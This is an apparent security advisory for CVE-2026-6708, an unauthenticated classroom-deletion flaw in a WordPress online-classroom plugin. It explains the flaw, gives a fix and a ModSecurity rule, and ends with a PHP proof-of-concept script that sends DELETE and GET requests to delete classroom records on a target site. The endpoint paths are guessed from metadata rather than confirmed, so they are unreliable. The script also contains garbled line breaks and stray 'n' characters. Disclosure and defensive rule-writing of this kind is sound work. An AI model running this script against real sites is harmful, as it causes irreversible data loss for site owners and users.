Atomic Edge analysis of CVE-2026-6708 (metadata-based): This vulnerability affects the HEL Online Classroom plugin versions up to and including 1.0.3. It is an unauthenticated arbitrary classroom deletion issue with a CVSS score of 5.3 (medium severity). An attacker can delete any classroom record without any authentication or authorization.
The root cause is a missing authorization check on a REST API endpoint. The plugin registered a REST route with a permission_callback set to ‘__return_true’, which bypasses all WordPress capability and authentication checks. This is directly inferred from the CWE-862 classification and the vulnerability description. Without source code, Atomic Edge research cannot confirm the exact endpoint path or callback function name, but the pattern is consistent with a WP REST API registration like register_rest_route(‘hel-online-classroom/v1’, ‘/delete-classroom/(?Pd+)’, array(‘methods’ => ‘DELETE’, ‘callback’ => ‘some_delete_function’, ‘permission_callback’ => ‘__return_true’)).
Exploitation requires no authentication and is performed over HTTP. An attacker sends a DELETE request to the vulnerable REST endpoint with the target classroom ID parameter. The endpoint likely follows a pattern such as /wp-json/hel-online-classroom/v1/classroom/{id} or /wp-json/hel-online-classroom/v1/delete-classroom?id={id}. The attacker supplies the numeric ID of any classroom record to delete it permanently. No nonce, capability check, or authentication token is required.
The fix must replace the permission_callback ‘__return_true’ with a proper capability check such as ‘manage_options’ or ‘edit_posts’. Developers should use WordPress current_user_can() function to verify the user has the appropriate capability before allowing deletion. Additionally, the endpoint should verify a nonce for CSRF protection.
Successful exploitation causes permanent deletion of classroom records from the WordPress database. This results in irreversible data loss. If the plugin stores classroom content such as lesson materials, student submissions, or teacher notes, all that data is destroyed. There is no privilege escalation or data exposure since only the deletion action is exposed.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_METHOD "@streq DELETE" "id:20266708,phase:2,deny,status:403,chain,msg:'CVE-2026-6708 - Unauthenticated Classroom Deletion via REST API',severity:'CRITICAL',tag:'CVE-2026-6708'"
SecRule REQUEST_URI "@rx ^/wp-json/hel-online-classroom/v1/" "chain"
SecRule ARGS:id "@rx ^[0-9]+$" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-6708 - HEL Online Classroom: AI-powered Online Classrooms <= 1.0.3 - Missing Authorization to Unauthenticated Arbitrary Classroom Deletion via 'id' Parameter
// Configuration: Set the target WordPress site URL and the classroom ID to delete
$target_url = 'http://example.com'; // Change this to your target URL (no trailing slash)
$classroom_id = 1; // The ID of the classroom to delete
// The vulnerability is in a REST API endpoint with missing authorization.
// Based on the plugin slug (hel-online-classroom) and common patterns, the endpoint is likely:
// /wp-json/hel-online-classroom/v1/classroom/{id} or /wp-json/hel-online-classroom/v1/delete-classroom?id={id}
// We test both patterns (DELETE and GET/POST) as the description mentions an 'id' parameter.
// Initialize cURL
$ch = curl_init();
// Try DELETE method with path-based ID
$endpoint_1 = $target_url . '/wp-json/hel-online-classroom/v1/classroom/' . $classroom_id;
// Try GET method with query parameter
$endpoint_2 = $target_url . '/wp-json/hel-online-classroom/v1/delete-classroom?id=' . $classroom_id;
// First attempt: DELETE request
curl_setopt($ch, CURLOPT_URL, $endpoint_1);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'DELETE');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
n$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
nif ($http_code == 200 || $http_code == 204) {
echo "[+] Successfully deleted classroom ID $classroom_id via DELETE $endpoint_1n";
} else {
echo "[-] DELETE method failed with HTTP $http_code. Trying GET method...n";
n // Second attempt: GET request with query parameter
curl_setopt($ch, CURLOPT_URL, $endpoint_2);
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'GET');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
n $response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
n if ($http_code == 200 || $http_code == 204) {
echo "[+] Successfully deleted classroom ID $classroom_id via GET $endpoint_2n";
} else {
echo "[-] Exploit failed. The endpoint may have a different path. Try adjusting the REST route.n";
echo "[-] Response: " . $response . "n";
}
}
ncurl_close($ch);
?>
